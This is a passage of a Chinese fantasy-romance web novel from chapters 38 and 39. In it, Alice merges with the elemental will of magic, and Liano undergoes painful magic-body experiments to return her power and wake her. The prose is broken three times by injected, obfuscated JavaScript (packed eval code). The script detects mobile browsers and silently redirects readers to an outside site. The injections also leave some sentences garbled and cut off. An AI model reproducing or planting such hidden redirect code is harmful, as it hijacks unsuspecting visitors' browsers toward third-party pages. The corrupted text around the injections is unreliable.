它们并非恶意,或者并无善恶,只是很喜欢她,所以很欢迎她的到来。欢迎她融入它们,成为这个巨大意志的一部分,就像她所期望的那样。 她会消失,而它们会被填满。 它们会融为一体,成为更充实的魔法的意志。 爱丽丝的眼前,克莱因冲上来的动作好像被无限放慢。 他拼命地绘制着某种法阵,竭力驱散想要将爱丽丝吞噬的元素,很快就支持不住地摔倒在地,又被爱琳娜扶住。 爱丽丝看见爱琳娜的脸上已经满是泪痕。 所以她犹豫了。 这种犹豫成为几乎快要与她同频的意志的犹豫,它们模糊地形成了疑惑的想法,发现好像这两个人类并不愿意她融入它们。 可是它们与她相处得很愉快,它们喜欢她纯洁无垢的灵魂,她也被它们的奥秘所吸引。 但是,她好像也舍不得他们那样哀伤。 那就……再等等吧,等到她最终做出决定的时候。 它们与她约定。 * “你应该去,爱琳娜。” 克莱因难得神色严肃,却遭到爱琳娜毫不犹豫地拒绝,“不,不行。” “可是这关乎你魔法师的身份!” 他克制着心里的焦急来回踱步,因为他知道魔法学院开放的机会有多宝贵,所有的学徒都只能在所处的世代获得唯一一次资格,“完成学业后的魔法和没有获得元素的认可的魔法是大不相同的!” “我不在乎什么魔法!爱丽丝是我唯一的亲人,我也不会离开梅尔维尔!” 爱琳娜紧绷着身体与他对峙,话语中是彻底的坚决。 她不会在爱丽丝仍旧沉睡的现在只身离开,更不会把从双亲那里继承而来的领地置之不顾。 “听着,爱琳娜……”克莱因试图放缓语气柔和地劝说,“你不用担心领地的事情,我用我的人格担保,我会保证领地的正常运转,也会照顾好爱丽丝……” “你明明早就忙到焦头烂额了吧!” 爱琳娜却因为他的话而彻底爆发。 “我年纪轻,在领地的事情上根本说不上话帮不上忙,但这不代表我看不见现在的情况!我每天看着你整理材料、处理公务、和其他领地周旋,根本睡不了几个小时就又要起来,你怎么会以为我不知道!” 她的气势惊人,眼里却闪出泪光,让克莱因慌乱地不敢再反驳。 可他想要轻拍安抚她的手被她无情地拨开。 “哪怕我目前做不了太多,至少可以尽力学习怎么处理这些事情,尽量帮你分担,你却要把我赶去学院……克莱因,你凭什么……” 即使在成为领主后,爱琳娜也对他保持着之前的称呼,但这一次,她没有再称克莱因为“老师”。 她红着眼眶盯着他,让他心里都发颤。 “你凭什么觉得我不会担心你……” 泪水在最后一句话的末尾落下,有些感情已经不必明说。 爱琳娜用双手捂住脸想要掩藏自己的失态,被克莱因温暖而宽大的怀抱紧紧拥住。 “对不起,对不起,爱琳娜,我不是在赶你走……” 他的声音也带着颤抖,仿佛是得到了什么一直以来魂牵梦绕的谜底。 他们互相依偎着,直到彼此都平静下来。 “克莱因,魔法对我来说没有亲人重要,没有你和爱丽丝,还有梅尔维尔重要。” 爱琳娜平静地看着他,说出自己最终的决定。 “我知道了。” 克莱因长出一口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199827|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择尊重她的考虑,他眨着眼睛温和地打趣,“那你就只剩我这一个魔法家庭教师了,不论教得多烂都没有地方抱怨,你的魔法水平只能由我决定了。” 爱琳娜破涕为笑,“我很乐意。” “结果他还是自己揽下好多工作,你说说这个人……” 不管有多忙,爱琳娜每天总会抽出时间和爱丽丝说说话,就像等待着装睡的调皮孩子被哪句笑话逗醒。 那天他们勉强中断了爱丽丝与元素的共鸣,但是爱丽丝却因过大的魔力波动而再度陷入沉睡。 好在这次没有发热,没有危险,她睡得平静而香甜,就好像只是在和他们玩闹。 但是时间久了,他们依旧感到寂寞和思念。 “还好有罗斯戴尔领主帮助我们,不然非把他累死不可!明明忙得要命,还说什么都要继续教我魔法,真是……” 爱琳娜小声偷偷向爱丽丝抱怨,却在话语间带了点甜蜜的回味。 一只淡黄色的小鸟在她的指尖跳了跳,又轻巧地蹦到床上,好奇地啄了啄爱丽丝的发丝。 “可爱吧!是今天克莱因教给我的新魔法哦,只要有魔力就可以飞很远很远,还可以传递信息,等你醒过来我们就可以一起玩了……” 她在爱丽丝的床边趴下来,用指尖戳戳她柔软的脸颊,小鸟也卖力地向那里蹭去。 “爱丽丝……你什么时候醒过来呢……” “……小……鸟……?” 爱丽丝迷迷糊糊地呢喃,轻颤着睫毛朦胧地睁开双眼。 真的是小鸟耶,淡黄色毛茸茸的,从来没在家里见过呢…… 她又轻轻歪过头去。 啊,床边的人是见过的。 虽然那人的表情有点呆愣愣的,好像想笑又好像快哭了,一副张口想要喊谁却出不了声的样子,但她还是一眼就认出来—— “唔!” 果然连这个拥抱也一模一样呢。 爱丽丝露出一个刚睡醒一般的亲昵的笑容。 “姐姐~” * 梅尔维尔领地的状况逐渐稳定下来,爱琳娜和克莱因受到罗斯戴尔领地的帮助,又在相互扶持中慢慢摸索出前行的道路。 但是,爱丽丝的事情仍是让他们最为担忧的。 爱丽丝对魔法有着超乎常人的兴趣,天赋也很高,四元素的属性和充沛的魔力让她心神一动就能毫不费力地使用魔法,就好像所有的元素都在倾听她的想法一般。 他们甚至无法分辨,这种情况是来源于爱丽丝自己的天赋,还是来源于此前与元素意志的联系。 克莱因有意减缓爱丽丝接触魔法的速度,但作用非常有限。 对于不太困难的魔法,爱丽丝几乎一看就会,甚至在醒来的第二天就呼唤出风元素小鸟开始和爱琳娜讲悄悄话了。 只有在面对诸如魔法史、魔法符号这些人类痕迹更多的学科时,她才偶尔露出苦恼思索的表情,努力地去用功学习。 凭借爱琳娜对爱丽丝的了解,她一定是知道这件事的,知道她自己很可能在将来的某一个时刻要与元素融为一体。 但她相当平静。 醒来后的爱丽丝不常哀伤,也很少愤怒,懵懂飘忽的态度好像对什么都不甚在意,只要看到有趣的魔法就会很开心。 所以他们担心,尤其是当爱丽丝沉浸在魔法当中的时候,他们担心爱丽丝会回不来。 他们也曾考虑过不让爱丽丝去魔法学院学习,但是爱琳娜终究不忍心。 “对她来说,最快乐的事情应该就是学习魔法吧。” 事情比他们想象得更好些。 前往学院学习魔法后,爱丽丝好像获得了更多的感受,与身边的事物有了更多的连结。 她好像更加成为了她自己,暂时封存了那个与元素的约定。 而那些欢呼雀跃的、焦急担忧的情绪,在不知不觉间慢慢聚集在一个人身上,她有了一个时常牵挂的对象,有了一个放不下的身影。 直到那天,她流着眼泪对着克莱因呐喊,“拜托、拜托你帮帮利亚诺好不好!” “他对爱丽丝来说是特别的。” 克莱因握住爱琳娜的手。 他们暂时救下了那个孩子的性命,但是要想真正保护他,他们需要做得更多。 不过这些都不算什么,只有两人的会客厅中,他们看见对方眼中亮起的一点点希望。 “如果是他的话,也许可以把爱丽丝留在这里。” 38. 在绝望中呼唤他 “不、不可能……” 科特兹面上的邪笑还未褪去,又感觉到某种不可名状的恐慌从后脑攀上来。 他的法阵应该成功了才对,明明成功了才对! “我怎么可能被这种、这种荒唐的把戏……” 他向半空伸出双手,不断做出各种可以唤出攻击魔法的手势,又在口中念念有词,眼神恶狠狠地盯着仪式间的其他人,直到目眦欲裂。 但是没有任何元素给予他回应。 就好像他是一个沉浸在自己幻想中的疯子。 仪式间的众人默默松了一口气,他们稍稍调整了疲惫的状态,准备对这场因科特兹而起的混战做最后的了结。 奥斯汀副院长挥动沉重的法杖,法杖点地,坚实的土元素立刻汇聚起来涌向科特兹,将其控制住使其无法动弹。 科特兹脚下所剩不多的魔石碎片再也不为他提供庇护,他下意识地挥手施法反击,却像一个耗光魔力的施法者一般无法产生任何抵抗,哪怕他的体内其实正魔力充盈。 “哈哈……哈哈哈哈!” 科特兹的眼神涣散了一瞬,随后又发出癫狂的笑声,“原来如此,原来如此!我终于明白了!” 他的目光扫过奥斯汀副院长、希尔教授、克莱因,甚至格罗姆康特领主,就好像要将他们千刀万剐。 “好啊,你们真是打得一手好牌,是你们干的对不对!从头到尾都是你们的阴谋!” “科特兹!事到如今你到底还在胡言乱语些什么!” 格罗姆康特领主气得声音都在发颤,他唯一的儿子还在因为被抽取了过多的魔力而昏迷不醒。 原来那些怪异的行径和计谋都是受科特兹的怂恿,而特里迪克在这些年里早就受科特兹影响太深。 他怎么会没发现?最为信任的魔法家庭教师的野心,枕边人不惜拿儿子做魔法实验笼络他的狠心,还有他早已被引入歧途的儿子…… 他不敢想象科特兹背着他做了多少事,甚至,偶尔他觉得记忆模糊和意识不清,现在想来,极有可能是被他的魔药或魔法所迷惑! 他怎么会因为沉迷科特兹每天献上的一点点有趣的魔法发现而对这些周身的异象视而不见! “都是你们干的!你们早就知道!你们找不出下一任要为魔法牺牲的魔法师,所以才放任我的计划,直到在这里故意让这个孩子牺牲……既破坏了我的成功,又获得了这个世代的完美祭品,真是一石二鸟啊!” “住口,科特兹!” “你在胡编乱造什么!” 科特兹带着疯魔的神色自顾自地呐喊,然后又对着始终抱紧爱丽丝一动不动的利亚诺大吼,“喂,蠢货!你还不明白吗!她被献祭给魔法了!是他们为了维持魔法的运转故意要她……!” 一声闷响,科特兹双目失神,直直倒在地上,是默默转移至他身后的奥斯维德用佩剑的握柄将他砸晕。 但是奥斯维德的脸色也并不好。 对视一眼,守在爱丽丝和利亚诺身边的伊莎贝拉也是如此。 他和伊莎贝拉等少数关系紧密的人对爱丽丝的特殊情况有所耳闻,但也是直到今天才从克莱因口中完全了解事情的原委。 而科特兹所提及的献祭和维持魔法的运转……他从面前其余人的神情中看得出,他们并不像他和伊莎贝拉一样一头雾水。 他敢肯定他们知道些什么,或许科特兹并不是信口胡说。 “奥斯汀副院长,您是否可以为我们解释一下呢?” 仪式间陷入短暂的沉寂,连克莱因都微微扭头沉默。 这对于这些孩子们来说还太早了,他们理应在获得魔法师身份的同时才会得知这个真相。 最终是希尔教授叹息着开口,“请让我来说明吧……” “不必了,希尔教授,我来说吧。” 奥斯汀副院长神色冷淡,眼神盯着奥斯维德却并未回避。 “这是他们迟早要知道的。” 人类凭什么能使用魔法? 元素会青睐人类,是有代价的。 两种截然不同的存在原本难以相互理解,但是却无法避免地对彼此产生了兴趣。 这种接触通常都是短暂而神秘的,直到最初的大魔法师将自己的意识融入元素的意志之中。 联结产生了,人类与元素拥有了沟通的可能,人类开始用语言、用手势、用法杖和法阵来向元素表达自己的需要,换取改变世界的能力。 这种联结叫作魔法。 而长久的魔法联结需要不断融入其中的人类意识作为维系。 “所以,放弃吧,这个孩子已经成为魔法的一部分了。” 爱丽丝不会再回来了。 奥斯汀副院长面无表情地想。 就和她的爱人一样。 * 安娜不愿意相信。 她轻轻抚摸着眼前沉睡的人的发丝,用温热的毛巾擦净她的脸庞。 怎么会呢?爱丽丝小姐的睡颜难道不是和往常一样吗? 什么叫爱丽丝小姐的魔力和意识已经与元素融合了?什么叫现在的爱丽丝小姐只是一副没有灵魂的躯壳?什么叫她很快就会连这副躯壳也完全消失? 她宁愿相信爱丽丝只是和平常一样贪睡,或者和多年之前一样,在醒来的途中遇到了一点点小麻烦,只要多等待一会儿就好。 但是,克莱因沉默的神色和爱琳娜痛苦的泪水告诉她,这次不一样。 这一次,爱丽丝可能真的回不来了。 悲伤和愤怒笼罩了她,找不到出口的情绪涌向另一个人。 克莱因不是说他也许可以的吗? 她早就知道这个人可能会把爱丽丝从她身边带走,可是为什么,他们会迎来这样的结局? 为什么他没有保护好爱丽丝小姐?为什么他现在仍然站在门边无动于衷? “如果爱丽丝小姐出了什么意外……” 她狠狠盯着那个身影,在恐慌和无助中口不择言,“我绝对不会原谅你。” 利亚诺沉默片刻,未改冷漠而疏离的神色。 那些曾经出现在他眼中的温和的笑意仿佛都像幻觉一样消失了。 “你大可不必有这样的觉悟。” 他的语调毫无波澜,就像早已将自己的心鞭笞了无数遍。 “如果爱丽丝出了什么意外,我不会原谅我自己。” 利亚诺不再留恋爱丽丝的身影,转身离开卧室去寻找克莱因。 还有机会的,应该还有机会的才对…… 他的右手死死按住自己的腹部某处,把那里掐痛了也毫不怜惜。 明明他还能感觉到爱丽丝魔力的存在,还能感受到那种暖意。 只要把这些魔力还给爱丽丝,填进她的躯体里,爱丽丝就应当能够醒来。 为此,他不管多疼都愿意受。 哪怕是要他的魔法体承受重新碎裂的痛苦。 “爱丽丝不会同意你这么做的!” 克莱因坚决地回绝了他的请求。 “我要救她。” 利亚诺只这么说。 “利亚诺,这太危险了!”克莱因重重扶住他的肩膀。“没有人比你更明白在魔法体上进行实验有多痛苦,况且我们甚至不知道怎样才能成功!你会撑不住的!” “我要救她。” 利亚诺没有改变他的选择。 “……可是这只是你的设想。” 克莱因严肃地提醒,“就算将魔力放回体内真的能唤回她的意识,那她的记忆呢?你有考虑过她的记忆不完整的情况吗?” 这个可能让利亚诺一瞬间脸色发白。 只是想到她有可能忘记他,忘记给了他这份魔力之后发生的那些事情,那些轻语和温情,他就心痛到无法呼吸。 但是…… “我要救她……” 他咬了咬牙,坚定的眼神再也不因任何而动摇。 “克莱因老师,我们都想救她不是吗?” 所以,他什么都愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一个月以来的每一天,她都会坐在这里看看爱丽丝的睡颜,于是她无数次地想到,当这张脸上亮起明媚的笑容的时候,爱丽丝小姐总是在望向他。 她原本不知道他为了尝试拯救爱丽丝都在熬着什么样的酷刑,或者即便知道也认为这是理所当然。 直到她看见爱琳娜和克莱因都为他的隐忍而叹息,然后听见他每日被逼到极限的惨叫……爱丽丝小姐一定也不舍得他这样辛苦吧。 她起身离开,将爱丽丝身旁的位置让给利亚诺。 “别对自己太狠了,小姐会心疼的。” 房间只剩下利亚诺和沉睡的爱丽丝。 他知道真正的爱丽丝不在这里,这里的只是她的躯壳,但还是忍不住想来寻求安慰。 一次次的痛苦和失败沉重地压在他肩上,他快要看不到希望了。 “呃……” 魔药给魔法体带来的剧烈疼痛无情地袭来,利亚诺倒在地上,无法克制地崩溃。 她会心疼他吗? 那么为什么,她还不醒来呢? “爱丽丝……爱丽丝……” 只有呼唤着这个名字才能让他在快要将精神击溃的疼痛里多熬一会儿,但是呼唤这个名字却又牵扯出丝丝缕缕在胸口痛到无法呼吸的思念。 他真的好疼,好害怕……抱抱他好不好…… 爱丽丝…… 没有人回应他,利亚诺在痛苦里翻滚,熬到忍不住惨叫,熬到快要晕厥过去。 再也没有拥抱和轻抚,再也没有温柔的安慰,只有更多承受不住的痛苦灌进来。 灌进他最怕痛的、最脆弱的地方。 “呃啊——!!” “利亚诺。” 他听见谁的呼唤。 然后,整个世界失去了声音。 39. 回应他的心意 利亚诺感觉得到,有谁在轻轻拥抱他,温柔地一点点将那些痛苦驱散。 他知道是爱丽丝。 不论她现在是以什么样的形态出现在这里,是不可捉摸的灵魂、汇聚在此的元素,还是只是他的幻觉……这是爱丽丝,他不会认错。 疼痛远去,利亚诺颤抖地喘了一口气,紧皱的眉头渐渐松开。 但是,魔药在魔法体上的效力逐渐消失,也同时代表着他的又一次失败。 心头的迷惘和痛苦此消彼长地升起,他不知道究竟该怎样将体内属于爱丽丝的魔力归还于她,连第一步都在无数的尝试中屡屡受挫,他真的快要熬不下去了。 可是爱丽丝仿佛知道他的辛苦,因为她正在那样温柔地安慰他。 利亚诺觉得自己也许是已经晕厥了,又或许是被某种力量阻止了与爱丽丝交流,他无法睁眼,也无法开口,只有感受着她所给予的熟悉的安抚,任凭泪水从脸颊滑下。 她温暖的怀抱从背后搂着他,一只手暖着他受尽折磨的腹部,另一只手轻轻揉着他的头,于是那些迷惘和痛苦都不可思议地乖乖消散了,只剩下安宁柔和地将他包裹。 被利亚诺强行压下的疲惫如海浪般一波波涌上来,他的意识无法抗拒地一点点模糊。 这么多天以来,他第一次安稳地陷入睡眠。 和一个柔和的梦境。 利亚诺看见自己站在仪式间的中央。 这是他来到学院的第一天,他的手中紧握着凭证挂坠,那个他决心不论多苦都要牢牢把握的在魔法学院学习机会。 玻璃花窗的光线一瞬间变幻,他猛然警惕地回过头去,一个戴着兜帽的女性魔法师出现在他的面前。 对了,利亚诺想起来了,这是后来同伴们时常讨论的那个各人所见不同的院长的形象。 不论是爱丽丝还是其他同伴,见到的似乎都是历史上赫赫有名的大魔法师,同时还得到了他们的教诲。 但是他当时……几乎看不清这位魔法师的样貌,也没有得到任何一句话语。 不过这对利亚诺来说并无太大影响,他既没有艳羡也没有惆怅,只当是自己的魔法天赋太为贫瘠所以没有获得任何大魔法师的青睐,这种事情在他的人生中发生了太多。 但是在梦境中,他以一种独特的视角重新体会着这段记忆,于是朦胧的光线照亮了那位魔法师的面庞。 利亚诺试图去看清她的长相,模糊不清的样貌几经变幻,突然让他心头一跳。 她很像……很像爱丽丝。 只是脸型的轮廓褪去了一丝稚嫩,身形也更加舒展挺拔一些。 果然是因为在做梦吗……? “……!” 一束目光直直地向他投来,引得利亚诺的精神不由地颤抖。 是那位魔法师忽然朝着这里看过来,朝着他的方向,而非她面前的那个利亚诺! 一瞬间的对视,无数碎片涌入利亚诺的脑海。 “利亚诺!” “利亚诺,你还好吗?” “利亚诺……你在疼吗?” 最多的是她的身影,一次次在崩溃的边缘拉住他,用温柔的轻语安抚他。 “别怕……没事了,没事了……” 一个画面闪过,有什么魔力在元素间传递,从稳固的土元素传递给流动的水元素,然后是无形飘渺的风元素,最后火元素将一切湮灭,又重归于土元素的寂静。 “张嘴接着背!大声点!” 痛苦灰暗的记忆翻涌而上,让他快要无法呼吸。 “新历276年……大魔法师里亚德多斯将四元素与物质的四种形态对应……同时验证了四元素间的相互转化关系……” “写得真好……” 但是她的声音将其覆盖,从那时起他就一直在被她所拯救。 “抱歉哦,利亚诺,一直有事情瞒着你。” 还有那天,他永远忘不掉她令人心碎的笑容。 “能够认识你,我真的好开心。” 一切都归于沉寂前,利亚诺听到她的声音。 “我在这里等你。” * 昏暗的烛光下,克莱因听到渐近的脚步声,他放下手中的羽毛笔深深叹了一口气。 不,他绝不会答应他的请求的。 有太多个夜晚,利亚诺拖着疲惫的身躯来到他面前,只为了求他再多进行一次那样酷刑般的实验,哪怕他在同一天早已承受了数次的折磨,几乎每一次都痛到惨叫、痛到晕厥,哪怕他根本不知道需要实验多久才能成功,或者究竟有没有成功的可能。 他知道利亚诺每夜都睡不好,始终在被爱丽丝一天天的消逝而折磨,他和爱琳娜又何尝不是如此。 但是这样下去,利亚诺真的会受不了的。 不出所料,克莱因的房门被敲响。 但令他感到意外的是,利亚诺确实还在疲惫,状态却比从那之后的任意一天都要好上许多。 他苍白的面庞仿佛恢复了一丝活气,带着些微血色的嘴唇在轻轻颤抖,而他的眼睛…… 那双灰色的眼睛亮得吓人。 “克莱因老师,”他说,“我好像……找到办法了。” * 抱着爱丽丝走进仪式间的道路,利亚诺走得缓慢。 他终于后知后觉地发现,他们对魔法的态度有多么相似。 因为一次失控的魔法,因为太多煎熬的折磨,他们在魔法的道路上向往而又回避,躲藏,却又不可抑制地再次被吸引。 而爱丽丝用她的魔法拯救了他那么多次…… 所以,这次就让他来为她献出自己的魔法吧。 利亚诺将爱丽丝轻轻放置在仪式间的中心,然后郑重地跪立在她身旁,深吸一口气,开始了他的施法。 想象出魔法体的所在,这很容易。 不会有人比他更清楚那个捱过太多痛楚、让他崩溃过太多次的地方,也是那个接受过爱丽丝的魔力和安抚的地方。 他能够感受到自身魔法体的状态,坚硬却又脆弱的,仿佛封闭的玻璃容器一样存放着魔力。 首先将它—— 软化。 “呃!!” 利亚诺咬牙忍住来自魔法体的刺激,他知道这只是刚开始。 土、水、风、火元素与固态、液态、气态、离子态,元素四种的形态可以相互转化,魔力亦然,魔法体同样如此。 在最平静的时候,魔法体的形态是土元素代表的固态,这也是所有施法者常规认知中魔法体的形态,因为这样有助于帮他们理解魔法体是如何在体内储存魔力。 但是固态的魔法体看上去易于切割,实际却在土元素的特性之下静止而无法转移,这就是为什么他和克莱因在实验中屡次失败。 利亚诺想象着将魔法体一点点软化,变为可流动的液态的魔力。 “呜……” 失去原本形态的魔法体逐渐无法为身体的活动提供支撑,他的身体开始发软,后背从挺拔跪立的姿势逐渐弓起俯下去,单薄的脊骨轻轻地发颤。 难受…… 好像浑身都被放在坩埚里熬煮,每一寸躯体都在发软发烫,每一个关节和骨头都酸软到快要被拆散一般。 利亚诺放任自己用双手握住爱丽丝的手,在那一丝丝凉意之中艰难地喘了一口气。 然后是……继续转化为风元素所代表的气态。 这也就代表利亚诺进入了危险。 如果不能控制好魔法体的魔力,他极有可能在魔力的混乱逸散中直接失去生命。 仪式间充沛的元素可以给他帮助,他可以用那些随处可得的水元素作为调整,可是将魔力汽化的痛苦没有人可以帮他分担。 “呃啊……” 他开始控制不住地颤抖,整个人已被冷汗浸透。 腹部那个脆弱的部分承受着难以形容的苦楚,分不清是在被岩浆炙烤还是被冰雪侵袭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213354|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这太难熬,利亚诺咬紧牙关也忍不住滚落的泪水。 他本不该如此的。 当他和克莱因讨论这个方案的可行性,为了确保施法的顺利一次次练习的时候,他哪怕狠心逼迫自己在这个阶段熬上几个小时、熬到要疯了也不会有任何怨言。 可是在爱丽丝面前,他好委屈。 “疼……爱丽丝……我好疼……” 眼泪止不住,利亚诺深深地低下头,轻轻将额头贴在爱丽丝的手背上,试图以这种方式获得一点虚无缥缈的安慰。 可是疼痛还在增长,等他再也跪不住,彻底脱力地倒下在爱丽丝身边时,他知道最后一步的时机到了。 “呃啊——!!!” 离子态的魔力在体内灼烧,好像要把他的理智绞断。 但是他不可以崩溃,他必须保持清醒,控制那些属于爱丽丝的魔力离开他的身体,以这种可以穿梭的形态进入爱丽丝的躯壳,然后再操纵那些魔力反过来慢慢冷却固定为魔法体,重新成为爱丽丝的一部分。 直到这些步骤成功,他才可以回过头来处理自己的魔法体,使它从现有的状态稳定下来……如果他还没有痛到失去意识的话。 但现在看来……他的希望渺茫。 仅仅几秒钟,利亚诺已经完全动不了了,连痛苦的嘶吼都发不出来,只有身体在微微地颤抖。 他的意识好像被撕扯成两半,一半正专注地控制那份爱丽丝的魔力,耐心又细致地将它们转移,另一半则在剧痛中扭曲颤抖,好像要被碾成粉末。 他无法提前练习这一部分,他只有这一次机会,所以他并不知道结果究竟会如何。 但是,哪怕他自己的魔力和生命就此湮灭,他也想…… 利亚诺逐渐涣散的眼神始终停留在爱丽丝的身上。 虽然已经感觉不到了,但是他的手应该仍然握着她的手吧。 这样就好。 这样就够了…… …… “呃!!” 腹部猛然被触碰,魔法体骤然冷却的疼痛让利亚诺无法克制地瑟缩。 “嘘,嘘,别动,深呼吸……” 只是再次听到她的声音,难以忍耐的酸涩就涌进他的眼眶。 让他熟悉的温柔的手在他敏感脆弱的伤口轻揉,慢慢帮助他平息体内混乱的魔力。 因为她一直这样温柔,所以利亚诺甚至不知道她还留着多少关于他的记忆。 “再忍耐一下下……很快就好了……” “呜……” 利亚诺知道,只有现在了。 在他得知真相之前,在他彻底心碎之前。 只有现在他才可以说服自己剖白那些最隐秘的心意。 于是他生涩地开口,就好像忍着痛一点点剖开自己的真心。 “我一直都……好想要你的安慰……” “好想被你拥抱,想要被你抚摸那些伤口,想要你轻声哄我……” “对不起,我知道自己没有资格,但是……我忍耐不住……” “从很久以前就只想被你触碰……只有在你身边才能感到安心……” “爱丽丝……我、我一直都……” 痛楚渐渐消失,未尽的话语却因再也无法忍耐的哽咽而难以成形。 泪水模糊了视线,利亚诺不敢抬头,只有任凭它们随着睫毛的颤抖而滴落。 他不敢想象,如果爱丽丝望着他的那双眼眸里只有普通的担心……他不知道自己该怎么办。 可是,她温柔的双手轻轻抹去他的泪水。 然后有某种气息凑近了,在他的双唇留下温暖而柔软的触感,滞住了他的呼吸。 利亚诺惶恐而颤抖地抬起眼,对上她的眼睛,那双琥珀色的眼里浮着一层蜂蜜一样的光泽,让他不可抑制地沉溺其中。 “我一直都知道。” 她的声音终于再次呼唤他的名字。 “利亚诺。”